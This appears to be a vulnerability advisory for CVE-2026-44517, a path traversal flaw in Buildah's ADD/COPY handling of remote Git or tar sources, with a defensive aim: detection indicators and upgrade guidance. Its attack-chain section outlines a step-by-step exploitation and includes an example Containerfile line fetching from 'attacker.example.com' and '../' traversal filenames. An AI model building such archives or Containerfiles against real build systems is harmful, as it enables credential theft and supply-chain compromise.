CVE-2026-44517: 
Podman vulnerability analysis and mitigation

CVE-2026-44517 is a path traversal vulnerability ("build breakout") in Buildah that allows a malicious server serving a Git repository or tar archive to cause files outside the build context directory to be included in the build context or copied into the container image. It affects Buildah versions >= 1.38.1 and < 1.43.2 (Go module github.com/containers/buildah). The vulnerability was first published on June 12, 2026, and added to the GitHub Advisory Database on June 22, 2026. It carries a CVSS v3.1 base score of 6.3 (Moderate) (GitHub Advisory, Buildah Advisory).

The root cause is improper limitation of a pathname to a restricted directory (CWE-22 — Path Traversal). When Buildah processes ADD or COPY instructions in a Containerfile/Dockerfile, it fetches content from remote sources such as Git repositories (via Git Smart HTTP) or tar archive files (e.g., GitHub release archives). A malicious server can craft responses containing path traversal sequences (e.g., ../) in file names or archive entries, causing Buildah to write or include files outside the intended build context directory. Exploitation requires user interaction — specifically, a developer must trigger a build that references the attacker-controlled remote source (GitHub Advisory, Buildah Advisory).

Successful exploitation allows an attacker who controls a Git repository or tar archive referenced in a Containerfile's ADD or COPY instruction to inject files from outside the intended build context into the resulting container image. The primary impact is a high confidentiality risk — sensitive files from the host build environment could be captured and embedded in the container image — with no direct integrity or availability impact as scored. This could lead to supply chain compromise if malicious code or credentials are injected into container images distributed downstream (GitHub Advisory, Feedly).

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time (Feedly). The vulnerability requires user interaction (a developer must initiate a build referencing a malicious remote source), which limits opportunistic exploitation. The CVE status remains "Reserved" and no EPSS score or CISA KEV catalog entry has been reported. Detection coverage exists via Qualys (ID: 6661443) and Nessus (IDs: 321877, 323649, 325077) (Feedly).

1. Set up a malicious server: An attacker configures a Git Smart HTTP server or hosts a tar archive (e.g., mimicking a GitHub release) containing archive entries with path traversal sequences (e.g., ../../sensitive-file) in their filenames.
2. Craft a malicious Containerfile: The attacker creates or influences a Containerfile/Dockerfile that uses an ADD or COPY instruction referencing the attacker-controlled URL (e.g., ADD https://attacker.example.com/malicious.tar.gz /app/ or a Git URL).
3. Induce the victim to build: The attacker tricks a developer or CI/CD pipeline into running buildah build (or equivalent) using the malicious Containerfile, targeting a vulnerable Buildah version (>= 1.38.1, < 1.43.2).
4. Path traversal triggers: During build context processing, Buildah fetches the remote content and fails to sanitize traversal sequences, causing files to be written or included outside the intended build context directory.
5. Exfiltrate or inject: Files from the host build environment (e.g., SSH keys, credentials, source code) are embedded in the resulting container image, which the attacker can later pull and inspect, or malicious files are injected into the image for downstream supply chain impact (GitHub Advisory, Buildah Advisory).

• Network: Outbound connections from the build host to unexpected or untrusted Git Smart HTTP servers or tar archive URLs during buildah build execution; unusual HTTP responses containing archive entries with ../ sequences.
• File System: Files appearing in the build context or container image layers that originate from outside the expected build context directory (e.g., SSH keys, .env files, credential stores); unexpected files in the container image's filesystem layers.
• Logs: Buildah build logs referencing remote URLs not explicitly listed in the Containerfile; warnings or errors related to file extraction paths during ADD/COPY processing.
• Process: buildah process making network connections to external hosts during build steps that should only involve local context (GitHub Advisory).

Upgrade Buildah to version 1.43.2 or 1.44, which contain the fix for this vulnerability (GitHub Advisory). As a workaround, avoid using ADD or COPY instructions with untrusted or externally-controlled Git repositories or tar archives. Validate and verify the contents of any remote sources before including them in Containerfile build instructions, and consider using explicit local file paths and build context validation to ensure only intended files are included. Fedora packages for both Buildah and Podman have been updated to address this issue (Linux Security).

The vulnerability was credited to researcher eriksjolund as the finder and was published by Buildah maintainer mheon (Buildah Advisory). Coverage appeared in Linux security news outlets and community forums, including Fedora update announcements and FreeBSD ports updates. A Mastodon post on infosec.exchange noted the advisory, and German-language security site pro-linux.de covered the information disclosure aspect for both Buildah and Podman (Feedly). Community reaction has been measured, consistent with the moderate severity rating and lack of active exploitation.